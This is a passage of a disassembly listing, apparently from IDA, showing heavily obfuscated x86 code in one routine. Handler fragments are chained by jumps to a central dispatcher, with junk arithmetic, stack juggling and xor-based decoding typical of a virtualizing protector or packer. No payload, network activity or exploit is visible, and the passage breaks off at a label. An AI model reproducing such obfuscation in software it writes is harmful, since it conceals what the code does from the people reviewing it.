		sub	ebp, 5D4708F7h
		add	ebp, ebx
		add	ebp, 5D4708F7h
		pop	ebx
		add	ebp, 2
		push	2DDDh
		mov	[esp+48h+var_48], ebp
		push	[esp+48h+var_44]
		mov	ebp, [esp+4Ch+var_4C]
		add	esp, 4
		pop	[esp+48h+var_48]
		mov	esp, [esp+44h+var_44]
		cmp	cx, ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599070:				; CODE XREF: sub_58A891+11396j
		push	1E893527h
		mov	ebx, [esp+4Ch+var_4C]
		push	edx
		push	esp
		mov	edx, [esp+54h+var_54]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+50h+var_50]
		pop	esp
		jmp	loc_5962FE
; ---------------------------------------------------------------------------


loc_599098:				; CODE XREF: sub_58A891+7933j
		add	eax, edi
		jmp	loc_592425
; ---------------------------------------------------------------------------


loc_59909F:				; CODE XREF: sub_58A891+735Ej
		not	ecx
		neg	ecx
		not	ecx
		dec	ecx
		shr	ecx, 4
		jmp	loc_59107F
; ---------------------------------------------------------------------------


loc_5990AE:				; DATA XREF: sub_58A891+3BCFo
		lodsd
		xor	eax, ebx
		push	4C3Fh
		mov	[esp+0Ch+var_C], edi
		jmp	loc_598E55
; ---------------------------------------------------------------------------


loc_5990BE:				; CODE XREF: sub_58A891+62E0j
		add	ebp, 7EFD3166h
		jmp	loc_58FCA9
; ---------------------------------------------------------------------------


loc_5990C9:				; CODE XREF: sub_58A891+7248j
		mov	ah, 4Ah
		jmp	loc_599C2A
; ---------------------------------------------------------------------------


loc_5990D0:				; CODE XREF: sub_58A891+B1CBj
					; sub_58A891+CFB8j
		shr	ebp, 4
		jz	loc_596CFA
		and	ebp, 3C7B69E5h
		jmp	loc_595398
; ---------------------------------------------------------------------------


loc_5990E4:				; CODE XREF: sub_58A891+10FD2j
		add	esp, 4
		push	edi
		jmp	loc_592CAB
; ---------------------------------------------------------------------------


loc_5990ED:				; CODE XREF: sub_58A891+9621j
		pop	eax
		push	dword ptr [esp+0]
		pop	edi
		jmp	loc_592400
; ---------------------------------------------------------------------------


loc_5990F7:				; CODE XREF: sub_58A891+A2E8j
		push	3469h
		jmp	loc_596ADC
; ---------------------------------------------------------------------------


loc_599101:				; CODE XREF: sub_58A891+9340j
		xor	bl, 4Ch
		sub	esp, 4
		mov	[esp+4Ch+var_4C], ecx
		jmp	loc_593030
; ---------------------------------------------------------------------------


loc_599112:				; CODE XREF: sub_58A891+104FEj
		mov	[esp+4Ch+var_4C], ebp
		push	64E1h
		push	esp
		pop	[esp+54h+var_54]
		add	[esp+50h+var_50], 4
		pop	ebp
		jmp	loc_594185
; ---------------------------------------------------------------------------


loc_599128:				; CODE XREF: sub_58A891+B507j
		add	ax, si
		jmp	loc_59B79B
; ---------------------------------------------------------------------------


loc_599130:				; DATA XREF: sub_58A891+3B17o
		lodsb
		jmp	loc_59884F
; ---------------------------------------------------------------------------


loc_599136:				; CODE XREF: sub_58A891+422Ej
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp+3Ch+var_3C], esi
		push	[esp+3Ch+var_38]
		mov	esi, [esp+40h+var_40]
		add	esp, 4
		pop	[esp+3Ch+var_3C]
		pop	esp
		push	ebp
		mov	ebp, 4CBD216Bh
		add	eax, ebp
		mov	ebp, [esp+38h+var_38]
		add	esp, 4
		jmp	loc_59606D
; ---------------------------------------------------------------------------


loc_59916E:				; CODE XREF: sub_58A891+D8E2j
		sub	esp, 4
		mov	[esp+34h+var_34], esp
		add	[esp+34h+var_34], 4
		jmp	loc_5974A7
; ---------------------------------------------------------------------------


loc_599180:				; CODE XREF: sub_58A891+CB81j
		shl	eax, 7
		add	eax, 0A3366B97h
		jmp	loc_59962B
; ---------------------------------------------------------------------------


loc_59918D:				; CODE XREF: sub_58A891+CA85j
					; sub_58A891+FDBAj
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 4
		push	esi
		mov	esi, 14E37C9Ch
		add	ecx, esi
		jmp	loc_59B2C6
; ---------------------------------------------------------------------------


loc_5991A8:				; CODE XREF: sub_58A891+9297j
		not	ebp
		add	ebp, 1
		xor	ebp, 0AC99B5E5h
		or	ebx, ebp
		pop	ebp
		not	ebx
		neg	ebx
		xor	ebx, 70BA1A8Dh
		jmp	loc_593786
; ---------------------------------------------------------------------------


loc_5991C5:				; CODE XREF: sub_58A891+9EBDj
		mov	esi, 777A251Ch
		xor	ebp, esi
		pop	esi
		add	ecx, ebp
		pop	ebp
		push	edx
		jmp	loc_59A947
; ---------------------------------------------------------------------------


loc_5991D6:				; CODE XREF: sub_58A891+5F80j
		mov	edi, 4
		add	[esp-8+arg_4], edi
		pop	edi
		jmp	loc_59AFC7
; ---------------------------------------------------------------------------


loc_5991E5:				; CODE XREF: sub_58A891+EF20j
		pop	edi
		pop	dword ptr [esp+0]
		mov	esp, [esp-14h+arg_A+2]
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5991F9:				; CODE XREF: sub_58A891+10185j
		or	bl, 0B4h
		jnz	loc_590662
		add	bl, 0F5h
		push	cx
		mov	cl, 6Ch
		xor	bl, cl
		pop	esi


loc_59920C:				; CODE XREF: sub_58A891+ED74j
		xor	eax, [esp+0]
		pop	esp
		div	cx
		jmp	loc_596732
; ---------------------------------------------------------------------------


loc_599218:				; DATA XREF: sub_58A891+3B5Bo
		mov	cx, word ptr [esp+8+var_8]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_590E5F
; ---------------------------------------------------------------------------


loc_599229:				; CODE XREF: sub_58A891+6C51j
		sub	[esp+3Ch+var_38], 16AD07A4h
		pop	ecx
		mov	ebx, [esp+38h+var_38]
		add	esp, 4
		add	ebx, 4
		add	ebx, 2
		push	ebx
		push	[esp+38h+var_34]
		pop	ebx
		pop	[esp+38h+var_38]
		mov	esp, [esp+34h+var_34]
		jmp	loc_597E6C
; ---------------------------------------------------------------------------


loc_599255:				; CODE XREF: sub_58A891+F598j
		pop	ecx
		jmp	loc_5976F9
; ---------------------------------------------------------------------------


loc_59925B:				; CODE XREF: sub_58A891+BC08j
		pop	ebx
		push	7D6Eh
		mov	[esp+44h+var_44], edx
		push	2
		jmp	loc_58EC61
; ---------------------------------------------------------------------------


loc_59926E:				; CODE XREF: sub_58A891+BC29j
		add	esi, 4
		jmp	loc_597953
; ---------------------------------------------------------------------------


loc_599279:				; CODE XREF: sub_58A891+D569j
					; sub_58A891+E6BAj
		pop	eax
		push	edx
		mov	edx, 63BC597Eh
		sub	ecx, 27C612C5h
		sub	ecx, edx
		jmp	loc_599DCB
; ---------------------------------------------------------------------------


loc_59928D:				; CODE XREF: sub_58A891+8995j
					; sub_58A891+EBFDj
		push	5C1Ah
		jmp	loc_592043
; ---------------------------------------------------------------------------


loc_599297:				; CODE XREF: sub_58A891+3C96j
		push	cx
		push	edx
		mov	dl, 83h
		jmp	loc_591985
; ---------------------------------------------------------------------------


loc_5992A1:				; CODE XREF: sub_58A891+B035j
		push	82Ch
		jmp	loc_599B05
; ---------------------------------------------------------------------------


loc_5992AB:				; CODE XREF: sub_58A891+A9E6j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+38h+var_38]
		pop	esp
		pop	[esp+34h+var_34]
		mov	esp, [esp+30h+var_30]
		push	7203h
		jmp	loc_594D50
; ---------------------------------------------------------------------------


loc_5992C8:				; CODE XREF: sub_58A891+3E15j
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		push	eax
		mov	eax, 9DC30D9h
		inc	eax
		jmp	loc_5938B4
; ---------------------------------------------------------------------------


loc_5992DC:				; CODE XREF: sub_58A891+105CAj
		add	ecx, edi
		sub	ecx, 513B7550h
		mov	eax, [ecx]
		mov	ecx, [esp+54h+var_54]
		jmp	loc_597AC1
; ---------------------------------------------------------------------------


loc_5992EE:				; CODE XREF: sub_58A891+7D9Cj
		jp	loc_59079E
		jmp	loc_593625
; ---------------------------------------------------------------------------


loc_5992F9:				; CODE XREF: sub_58A891+B266j
		jnz	loc_5930E6
		shr	bh, 2
		push	0
		mov	ebx, ebp


loc_599309:				; CODE XREF: sub_58A891+A5C4j
		push	6127h
		mov	[esp+44h+var_44], ecx
		push	ebx
		jmp	loc_593355
; ---------------------------------------------------------------------------


loc_599317:				; DATA XREF: sub_58A891+3BB3o
		mov	cx, word ptr [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		jmp	loc_59115B
; ---------------------------------------------------------------------------


loc_599323:				; CODE XREF: sub_58A891+8757j
		push	dword ptr [esp+0]
		pop	ebx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	0CFAh
		mov	[esp+0], ecx
		mov	ecx, 1
		push	12F3h
		mov	[esp+4+var_4], ebx
		push	24h
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		add	ebx, edi
		add	[ebx], ecx
		push	[esp+4+var_4]
		pop	ebx
		jmp	loc_58E62A
; ---------------------------------------------------------------------------


loc_59935F:				; CODE XREF: sub_58A891+D2CCj
		push	45E8h
		mov	[esp+8+var_8], eax
		jmp	loc_597F19
; ---------------------------------------------------------------------------


loc_59936C:				; CODE XREF: sub_58A891+10F9Cj
		push	[esp+8+var_8]
		pop	edi
		add	esp, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599387:				; CODE XREF: sub_58A891+745Fj
		xor	esi, 0D43DA24Dh
		and	edx, esi
		pop	esi
		jmp	loc_59267D
; ---------------------------------------------------------------------------


loc_599395:				; CODE XREF: sub_58A891+7F90j
		jb	loc_595176
		xor	esi, 2FD15A98h
		add	esi, 1E89235Ah
		jg	loc_5974D0
		jmp	loc_59726E
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	ah, 5Ah


loc_5993BA:				; CODE XREF: sub_58A891+B700j
		or	esi, 609A5A5Eh
		shl	esi, 8
		and	esi, 25EC6B7Ah
		sub	esi, 1F4A6304h
		sub	esi, 0E7947A7Fh
		and	edi, esi
		pop	esi
		xor	edi, 3BA44C76h
		jmp	loc_596DE2
; ---------------------------------------------------------------------------


loc_5993E3:				; CODE XREF: sub_58A891+7ADFj
					; sub_58A891+10019j
		xor	eax, 40785A21h
		push	eax
		pop	ebx
		pop	eax
		jmp	loc_598BED
; ---------------------------------------------------------------------------


loc_5993F0:				; CODE XREF: sub_58A891+DD91j
		sub	word ptr [esp+42h+var_40+2], ax
		mov	ax, word ptr [esp+42h+var_44+2]
		jmp	loc_5942B4
; ---------------------------------------------------------------------------


loc_5993FE:				; CODE XREF: sub_58A891+CAADj
		xor	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 0E8FF1C4h
		add	ecx, ebx
		jmp	loc_5931AA
; ---------------------------------------------------------------------------


loc_59940E:				; CODE XREF: sub_58A891+BDE9j
		inc	edi
		shl	edi, 1
		jmp	loc_58FD0E
; ---------------------------------------------------------------------------


loc_599416:				; CODE XREF: sub_58A891+9717j
		and	ecx, edx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_594B3D
; ---------------------------------------------------------------------------


loc_599426:				; CODE XREF: sub_58A891+A585j
		jg	loc_591DB9
		jmp	loc_591189
; ---------------------------------------------------------------------------


loc_599431:				; CODE XREF: sub_58A891+68A2j
		sub	eax, ebx
		pop	ebx
		push	eax
		not	[esp+40h+var_40]
		pop	eax
		shr	eax, 4
		jmp	loc_5960BD
; ---------------------------------------------------------------------------


loc_599441:				; CODE XREF: sub_58A891+DA6Dj
		dec	ebp
		sub	ebp, 0F9D12710h
		mov	ebx, 0B409C463h
		sub	ebx, 47005EA6h
		sub	ebx, ebp
		push	edi
		mov	edi, 47005EA6h
		add	ebx, edi
		pop	edi
		pop	ebp
		shl	ebx, 5
		jmp	loc_5905A7
; ---------------------------------------------------------------------------


loc_599467:				; CODE XREF: sub_58A891+86BCj
		push	ecx
		push	esp
		jmp	loc_59812C
; ---------------------------------------------------------------------------


loc_59946E:				; CODE XREF: sub_58A891+59A4j
		pop	esi
		add	ecx, edi
		jmp	loc_598FFE
; ---------------------------------------------------------------------------


loc_599476:				; CODE XREF: sub_58A891+6803j
		mov	eax, 54326197h
		mov	edi, 1A3D03h
		xor	edi, eax
		pop	eax
		push	ebp
		jmp	loc_5982CD
; ---------------------------------------------------------------------------


loc_599489:				; CODE XREF: sub_58A891+7DDCj
		pop	edi
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_59928D
; ---------------------------------------------------------------------------


loc_599493:				; CODE XREF: sub_58A891+C9D8j
		mov	esp, [esp+1Ch+var_1C]
		mov	[esp+1Ch+var_1C], edx
		mov	edx, 4
		jmp	loc_58E9D9
; ---------------------------------------------------------------------------


loc_5994A3:				; DATA XREF: sub_58A891+39BFo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp+6+var_8+2], cl
		pushf
		jmp	loc_595E97
; ---------------------------------------------------------------------------


loc_5994B2:				; CODE XREF: sub_58A891+F6EBj
		mov	eax, 36184C66h
		shl	eax, 2
		inc	eax
		add	eax, 374E399Fh
		jmp	loc_597819
; ---------------------------------------------------------------------------


loc_5994C5:				; CODE XREF: sub_58A891+A5E5j
		sub	ecx, 4845229Bh
		sub	esp, 4
		mov	[esp+12h+var_14+2], ebp
		push	eax
		jmp	loc_594FE2
; ---------------------------------------------------------------------------


loc_5994D7:				; CODE XREF: sub_58A891+CEF2j
		shr	eax, 0Ah
		xor	eax, ecx
		push	3DD9h
		jmp	loc_5906E8
; ---------------------------------------------------------------------------


loc_5994E6:				; CODE XREF: sub_58A891+6254j
					; sub_58A891+64DBj
		mov	ecx, 77520876h
		add	ebx, ecx
		pop	ecx
		jmp	loc_58FEC5
; ---------------------------------------------------------------------------


loc_5994F3:				; CODE XREF: sub_58A891+CFE1j
		pop	esi
		add	ebp, 0D34EDB42h
		add	eax, ebp
		pop	ebp
		sub	eax, 4
		xchg	eax, [esp+50h+var_50]
		mov	esp, [esp+50h+var_50]
		mov	[esp+50h+var_50], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+50h+var_50]
		jmp	loc_5959EC
; ---------------------------------------------------------------------------


loc_59951E:				; CODE XREF: sub_58A891+8263j
		push	edx
		mov	edx, 5297290Eh
		shr	edx, 3
		inc	edx
		jmp	loc_5999E3
; ---------------------------------------------------------------------------


loc_59952D:				; CODE XREF: sub_58A891+68B2j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_599532:				; CODE XREF: sub_58A891+5A0Bj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_598C60
; ---------------------------------------------------------------------------


loc_59953F:				; CODE XREF: sub_58A891+9F8Aj
					; sub_58A891+DE5Dj
		sub	esp, 4
		jmp	loc_596F2B
; ---------------------------------------------------------------------------


loc_599547:				; CODE XREF: sub_58A891+BA92j
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_5936AE
; ---------------------------------------------------------------------------


loc_59955B:				; CODE XREF: sub_58A891+BEFAj
		mov	edi, ebp
		jmp	loc_58FF48
; ---------------------------------------------------------------------------


loc_599562:				; CODE XREF: sub_58A891+574Aj
		push	esi
		mov	esi, 562F224Ah
		xor	edx, esi
		pop	esi
		push	0
		sub	[esp+50h+var_50], edx
		pop	edx
		jmp	loc_594820
; ---------------------------------------------------------------------------


loc_599579:				; CODE XREF: sub_58A891+46CBj
		pop	esp
		jmp	loc_5975D6
; ---------------------------------------------------------------------------


loc_59957F:				; CODE XREF: sub_58A891+5C50j
		add	esp, 4
		and	dl, 17h
		xor	dl, 0F6h
		sub	bh, dl
		pop	edx
		jmp	loc_5948DF
; ---------------------------------------------------------------------------


loc_599590:				; CODE XREF: sub_58A891+112D7j
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		push	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_592391
; ---------------------------------------------------------------------------


loc_5995A5:				; CODE XREF: sub_58A891+BF7Cj
		sub	esp, 2
		jmp	loc_59B281
; ---------------------------------------------------------------------------


loc_5995B0:				; CODE XREF: sub_58A891+C53Bj
		pop	edi
		push	edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		jmp	loc_59B279
; ---------------------------------------------------------------------------


loc_5995BF:				; CODE XREF: sub_58A891+8032j
		pop	ebx
		push	edx
		mov	edx, 1A5967F6h
		sub	edx, 0C26A5FA0h
		jmp	loc_59448F
; ---------------------------------------------------------------------------


loc_5995D1:				; CODE XREF: sub_58A891+6F34j
		add	eax, 71992CB1h
		add	eax, 21B16C06h
		pop	ebp
		push	eax
		push	[esp+48h+var_44]
		jmp	loc_5929C6
; ---------------------------------------------------------------------------


loc_5995E6:				; CODE XREF: sub_58A891+5339j
		mov	ebx, 702C5B3Bh
		dec	ebx
		dec	ebx
		push	ebp
		mov	ebp, 7EB66E9Ah
		or	ebx, ebp
		jmp	loc_590A31
; ---------------------------------------------------------------------------


loc_5995FA:				; CODE XREF: sub_58A891+573Dj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5995FF:				; CODE XREF: sub_58A891+E637j
		xor	eax, [esp+0]
		xor	[esp+0], eax
		jmp	loc_59920C
; ---------------------------------------------------------------------------


loc_59960A:				; DATA XREF: sub_58A891+39E7o
		push	ebp
		push	[esp+0Ch+var_8]
		jmp	loc_59A337
; ---------------------------------------------------------------------------


loc_599614:				; CODE XREF: sub_58A891+5A6Cj
		mov	edi, [esp+24h+var_24]
		jmp	loc_592BE2
; ---------------------------------------------------------------------------


loc_59961C:				; CODE XREF: sub_58A891+6A96j
		mov	dl, ah
		pop	eax
		xor	al, dl
		mov	dx, [esp+0]
		push	ebp
		jmp	loc_5940E8
; ---------------------------------------------------------------------------


loc_59962B:				; CODE XREF: sub_58A891+E8F7j
		mov	esi, eax
		pop	eax
		shl	esi, 7
		sub	esi, 1AF40AEAh
		dec	esi
		neg	esi
		neg	esi
		sub	esi, 0C911FED4h
		add	edx, esi
		jmp	loc_595B55
; ---------------------------------------------------------------------------


loc_599649:				; CODE XREF: sub_58A891+FBBDj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59964E:				; CODE XREF: sub_58A891+7AB6j
		push	ecx
		mov	ecx, 3D02ECD1h
		mov	esi, ecx
		push	[esp+48h+var_48]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+4Ch+var_4C]
		pop	esp
		push	48DCh
		mov	[esp+4Ch+var_4C], edi
		mov	edi, 3DF8233Ah
		push	ebx
		mov	ebx, 5A2F6006h
		xor	edi, ebx
		jmp	loc_596570
; ---------------------------------------------------------------------------


loc_599684:				; CODE XREF: sub_58A891+D421j
		mov	dh, cl
		not	dh
		mov	cl, dh
		pop	edx
		push	ecx
		not	byte ptr [esp+8+var_8]
		pop	ecx
		add	cl, 0CFh
		add	bl, cl
		pop	ecx
		sub	bl, al
		push	edx
		mov	dl, 3
		jmp	loc_5945B3
; ---------------------------------------------------------------------------


loc_5996A0:				; CODE XREF: sub_58A891+5675j
		add	eax, edx
		add	eax, 620D27E8h
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		add	eax, 2
		push	eax
		jmp	loc_590DE4
; ---------------------------------------------------------------------------


loc_5996B6:				; CODE XREF: sub_58A891+7773j
		mov	[esp+64h+var_64], eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		jmp	loc_591189
; ---------------------------------------------------------------------------


loc_5996C6:				; CODE XREF: sub_58A891+8944j
		jmp	loc_59007C
; ---------------------------------------------------------------------------


loc_5996CB:				; CODE XREF: sub_58A891:loc_594C5Ej
		shl	edx, 7
		jns	loc_597939
		add	edx, 573F64BAh
		jnp	loc_598508
		add	edx, 0F78AD564h
		mov	esi, edx
		pop	edx
		push	esi
		xor	[esp+10h+var_10], 561C39C0h
		pop	ecx
		xor	ecx, 561C39C0h
		pop	esi
		add	edi, ecx
		jmp	loc_5959DE
; ---------------------------------------------------------------------------


loc_599700:				; CODE XREF: sub_58A891+707Bj
		jnz	loc_593C1B
		shr	edi, 5
		sub	edi, 48AF26E1h
		mov	dh, 0C9h


loc_599711:				; CODE XREF: sub_58A891+A67Bj
		add	dh, 54h
		jmp	loc_5951A7
; ---------------------------------------------------------------------------


loc_599719:				; CODE XREF: sub_58A891+6703j
		mov	ebp, esp
		push	edi
		mov	edi, 60B80178h
		jmp	loc_58E7BC
; ---------------------------------------------------------------------------


loc_599726:				; CODE XREF: sub_58A891+DD4Aj
		jge	loc_59730B
		xor	ebx, 691F7079h
		push	edx
		mov	edx, ebx
		mov	edi, edx
		pop	edx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		mov	ebp, 0D5C2BEDBh
		add	ebp, edi
		mov	edi, [esp+10h+var_10]
		jmp	loc_591CBD
; ---------------------------------------------------------------------------


loc_59974D:				; CODE XREF: sub_58A891+101A4j
		sub	al, 0E8h
		mov	dx, word ptr [esp+10h+var_10]
		add	esp, 2
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		mov	bh, 27h
		xor	bh, ah
		xor	ah, bh
		xor	bh, ah
		push	cx
		push	ebx
		mov	bh, ah
		mov	ch, bh
		pop	ebx
		not	ch
		jmp	loc_59478C
; ---------------------------------------------------------------------------


loc_599773:				; CODE XREF: sub_58A891+7682j
					; sub_58A891+AC81j
		xchg	eax, [edi+24h]


loc_599776:				; CODE XREF: sub_58A891+6C24j
		push	ebx
		jmp	loc_595F6D
; ---------------------------------------------------------------------------


loc_59977C:				; CODE XREF: sub_58A891+D069j
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 299801FDh
		sub	edx, 299801F9h
		add	edi, edx
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 4
		mov	ebx, edx
		pop	edx
		sub	edi, 3578088Eh
		add	edi, ebx
		add	edi, 3578088Eh
		pop	ebx
		push	edi
		push	[esp+14h+var_10]
		jmp	loc_5991E5
; ---------------------------------------------------------------------------


loc_5997B6:				; CODE XREF: sub_58A891+7479j
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		jmp	loc_591448
; ---------------------------------------------------------------------------


loc_5997CD:				; CODE XREF: sub_58A891+1112Fj
		shl	ecx, 5
		jnz	loc_59B5B6
		add	ecx, 21466CC4h
		push	ecx
		jp	loc_590A97


loc_5997E3:				; DATA XREF: sub_58A891+3A0Bo
		mov	cx, word ptr [esp+14h+var_14]
		jmp	loc_58E5E2
; ---------------------------------------------------------------------------


loc_5997EC:				; CODE XREF: sub_58A891+52BCj
					; sub_58A891+D1CEj
		pop	ecx
		pop	dword ptr [esp+0]
		jmp	loc_594E2B
; ---------------------------------------------------------------------------


loc_5997F5:				; CODE XREF: sub_58A891+8ED8j
		mov	esp, [esp+58h+var_58]
		mov	[esp+58h+var_58], eax
		jmp	loc_58F39F
; ---------------------------------------------------------------------------


loc_599800:				; CODE XREF: sub_58A891+C352j
		xor	ecx, 0FEAABF6Ah
		jmp	loc_599E66
; ---------------------------------------------------------------------------


loc_59980B:				; CODE XREF: sub_58A891+8E29j
		pop	ebx
		pop	ebp
		push	7BDAh
		jmp	loc_58E8C5
; ---------------------------------------------------------------------------


loc_599817:				; CODE XREF: sub_58A891+8879j
		sub	eax, 39824F62h
		add	eax, 2F3622FEh
		add	eax, 343F06F4h
		sub	eax, ebx
		sub	eax, 343F06F4h
		sub	eax, 2F3622FEh
		push	ecx
		mov	ecx, 55C03A6Eh
		sub	esp, 4
		mov	[esp+40h+var_40], esi
		push	ebx
		mov	ebx, 518A4A77h
		jmp	loc_59133B
; ---------------------------------------------------------------------------


loc_599849:				; CODE XREF: sub_58A891+A435j
		add	edi, ecx
		jmp	loc_58EB23
; ---------------------------------------------------------------------------


loc_599850:				; CODE XREF: sub_58A891+4A2Dj
		not	edx
		sub	edx, 0E190FBA4h
		mov	ebx, edx
		pop	edx
		sub	ebx, 68790108h
		jmp	loc_59747A
; ---------------------------------------------------------------------------


loc_599866:				; CODE XREF: sub_58A891+4E62j
		sub	eax, ebp
		pop	ebp
		pop	ebp
		jmp	loc_591990
; ---------------------------------------------------------------------------


loc_59986F:				; CODE XREF: sub_58A891+9E92j
		mov	esp, [esp+4Ch+var_4C]
		jmp	loc_5929DD
; ---------------------------------------------------------------------------


loc_599877:				; CODE XREF: sub_58A891+8F33j
		add	esp, 4
		not	eax
		jmp	loc_594A0C
; ---------------------------------------------------------------------------


loc_599884:				; CODE XREF: sub_58A891+4125j
		push	ebx
		mov	bl, 8
		sub	bl, 51h
		jmp	loc_591F03
; ---------------------------------------------------------------------------


loc_59988F:				; CODE XREF: sub_58A891+B93Ej
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 267E2193h
		or	esi, 63C35FEAh
		ja	loc_590749
		inc	esi
		jz	loc_599AB0
		push	ebx
		mov	ebx, 6F5261CCh
		or	al, 35h


loc_5998B3:				; CODE XREF: sub_58A891+E558j
					; DATA XREF: sub_58A891+3BDFo
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp+5Eh+var_60+2], eax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5998C1:				; CODE XREF: sub_58A891+F4C4j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5998C6:				; CODE XREF: sub_58A891+51C6j
		push	edx
		push	4B356646h
		jmp	loc_590B24
; ---------------------------------------------------------------------------


loc_5998D1:				; CODE XREF: sub_58A891+9B77j
		shr	ecx, 2
		jmp	loc_59A4D3
; ---------------------------------------------------------------------------


loc_5998D9:				; CODE XREF: sub_58A891+D286j
		add	ch, 37h
		jmp	loc_58E9BB
; ---------------------------------------------------------------------------


loc_5998E1:				; CODE XREF: sub_58A891+6ECAj
		add	ecx, 570C6F42h
		not	ecx
		xor	ecx, 3B7A701Ch
		sub	ecx, 1
		push	3BFEh
		mov	[esp+0Ch+var_C], edi
		mov	edi, 38423E7Bh
		xor	ecx, edi
		pop	edi
		xor	esi, ecx
		jmp	loc_58EDB5
; ---------------------------------------------------------------------------


loc_59990C:				; CODE XREF: sub_58A891+CC82j
		push	eax
		mov	eax, 6B57568Bh
		mov	edx, 79399D0Dh
		xor	edx, eax
		pop	eax
		add	edi, edx
		jmp	loc_5938C9
; ---------------------------------------------------------------------------


loc_599921:				; CODE XREF: sub_58A891+70B7j
		mov	eax, [esp-0Ch+arg_4]
		add	esp, 4
		shl	edx, 4
		dec	edx
		shl	edx, 5
		sub	edx, 0C7F59E0h
		and	eax, edx
		mov	edx, [esp+0]
		add	esp, 4
		or	eax, eax
		jz	loc_5960A1
		push	eax
		jmp	loc_59B86E
; ---------------------------------------------------------------------------
word_59994A	dw 4ACh			; DATA XREF: sub_58A891+3C0Fo
		dd 0E7B252F3h, 807AC280h, 0E28072CAh, 2EC81C0h,	66000000h
		dd 0B1240C89h, 66CA2896h, 65F28059h, 0FFC6A8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599971:				; CODE XREF: sub_58A891+47E6j
		mov	[esp+2Ch+var_2C], edi
		mov	edi, 1C8E08A4h
		add	eax, edi
		mov	edi, [esp+2Ch+var_2C]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+30h+var_30]
		pop	esp
		sub	eax, 6B592829h
		sub	esp, 4
		mov	[esp+30h+var_30], edx
		jmp	loc_594A51
; ---------------------------------------------------------------------------


loc_59999F:				; CODE XREF: sub_58A891+706Dj
		xchg	eax, [esp+48h+var_48]
		pop	ecx
		shr	ecx, 3
		push	edi
		jmp	loc_59842D
; ---------------------------------------------------------------------------


loc_5999AC:				; CODE XREF: sub_58A891+10E9Ej
		push	esi
		mov	esi, 3E6B7DBCh
		add	esi, 1
		add	esi, 1
		not	esi
		neg	esi
		sub	esi, 3E6B7DBBh
		sub	eax, 85275E6h
		add	eax, esi
		jmp	loc_58EC6D
; ---------------------------------------------------------------------------


loc_5999D1:				; DATA XREF: sub_58A891+3BABo
		mov	cx, word ptr [esp+8+var_8]
		push	edi
		jmp	loc_5947A5
; ---------------------------------------------------------------------------


loc_5999DB:				; CODE XREF: sub_58A891+A9F2j
		mov	ebx, [esp+30h+var_30]
		jmp	loc_5908A2
; ---------------------------------------------------------------------------


loc_5999E3:				; CODE XREF: sub_58A891+EC97j
		add	edx, 485F54CCh
		neg	edx
		sub	edx, 1BAC7248h
		add	edx, 6E5EAC3Ah
		add	ebp, edx
		pop	edx
		add	ebp, 4
		push	ebp
		jmp	loc_5927FF
; ---------------------------------------------------------------------------


loc_599A06:				; CODE XREF: sub_58A891+A505j
		pop	esi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	edx
		jmp	loc_58F20B
; ---------------------------------------------------------------------------


loc_599A16:				; CODE XREF: sub_58A891+10E2Bj
		push	edx
		mov	dh, 0F2h
		add	dh, 0D2h
		push	ecx
		mov	ch, dh
		jmp	loc_58F767
; ---------------------------------------------------------------------------


loc_599A24:				; CODE XREF: sub_58A891+4732j
		pop	ax
		sub	bp, 7FDAh
		jbe	loc_59A044
		sub	bp, 2E20h
		jmp	loc_59B71E
; ---------------------------------------------------------------------------


loc_599A3B:				; CODE XREF: sub_58A891+487Ej
		shl	edx, 2
		push	eax
		mov	eax, 0D2D0FDFDh
		sub	edx, eax
		pop	eax
		xor	ecx, edx
		mov	edx, [esp+30h+var_30]
		jmp	loc_592AD3
; ---------------------------------------------------------------------------


loc_599A51:				; CODE XREF: sub_58A891+8910j
